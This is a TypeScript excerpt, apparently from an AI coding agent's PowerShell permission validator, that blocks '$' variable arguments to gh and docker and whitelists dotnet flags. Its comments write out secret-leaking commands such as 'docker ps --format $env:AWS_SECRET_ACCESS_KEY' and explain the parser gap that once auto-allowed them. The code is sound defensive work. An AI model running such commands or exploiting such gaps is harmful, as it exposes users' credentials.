| // deriveSecurityFlags does not gate bare Variable args — only subexpressions, | |
| // splatting, expandable strings, etc. All gh subcommands are network-facing, | |
| // so a variable arg is a data-exfiltration vector: | |
| // gh search repos $env:SECRET_API_KEY | |
| // → PowerShell expands at runtime → secret sent to GitHub API. | |
| // git ls-remote has an equivalent inline guard; this generalizes it for gh. | |
| // Bash equivalent: BashTool blanket `$` rejection at readOnlyValidation.ts:~1352. | |
| for (const arg of flagArgs) { | |
| if (arg.includes('$')) { | |
| return false | |
| } | |
| } | |
| if ( | |
| config.additionalCommandIsDangerousCallback && | |
| config.additionalCommandIsDangerousCallback('', flagArgs) | |
| ) { | |
| return false | |
| } | |
| return validateFlags(flagArgs, 0, config) | |
| } | |
| function isDockerSafe(args: string[]): boolean { | |
| if (args.length === 0) { | |
| return true | |
| } | |
| // SECURITY: blanket PowerShell `$` variable rejection. Same guard as | |
| // isGitSafe and isGhSafe. Parser differential: validator sees literal | |
| // '$env:X'; PowerShell expands at runtime. Runs BEFORE the fast-path | |
| // return — the previous location (after fast-path) never fired for | |
| // `docker ps`/`docker images`. The earlier comment claiming those take no | |
| // --format was wrong: `docker ps --format $env:AWS_SECRET_ACCESS_KEY` | |
| // auto-allowed, PowerShell expanded, docker errored with the secret in | |
| // its output, model read it. Check ALL args, not flagArgs — args[0] | |
| // (subcommand slot) could also be `$env:X`. elementTypes whitelist isn't | |
| // applicable here: this function receives string[] (post-stringify), not | |
| // ParsedCommandElement; the isAllowlistedCommand caller applies the | |
| // elementTypes gate one layer up. | |
| for (const arg of args) { | |
| if (arg.includes('$')) { | |
| return false | |
| } | |
| } | |
| const oneWordKey = `docker ${args[0]?.toLowerCase()}` | |
| // Fast path: EXTERNAL_READONLY_COMMANDS entries ('docker ps', 'docker images') | |
| // have no flag constraints — allow unconditionally (after $ guard above). | |
| if (EXTERNAL_READONLY_COMMANDS.includes(oneWordKey)) { | |
| return true | |
| } | |
| // DOCKER_READ_ONLY_COMMANDS entries ('docker logs', 'docker inspect') have | |
| // per-flag configs. Mirrors isGhSafe: look up config, then validateFlags. | |
| const config: ExternalCommandConfig | undefined = | |
| DOCKER_READ_ONLY_COMMANDS[oneWordKey] | |
| if (!config) { | |
| return false | |
| } | |
| const flagArgs = args.slice(1) | |
| if ( | |
| config.additionalCommandIsDangerousCallback && | |
| config.additionalCommandIsDangerousCallback('', flagArgs) | |
| ) { | |
| return false | |
| } | |
| return validateFlags(flagArgs, 0, config) | |
| } | |
| function isDotnetSafe(args: string[]): boolean { | |
| if (args.length === 0) { | |
| return false | |
| } | |
| // dotnet uses top-level flags like --version, --info, --list-runtimes | |
| // All args must be in the safe set | |
| for (const arg of args) { | |
| if (!DOTNET_READ_ONLY_FLAGS.has(arg.toLowerCase())) { | |
| return false | |
| } | |
| } | |
| return true | |
| } | |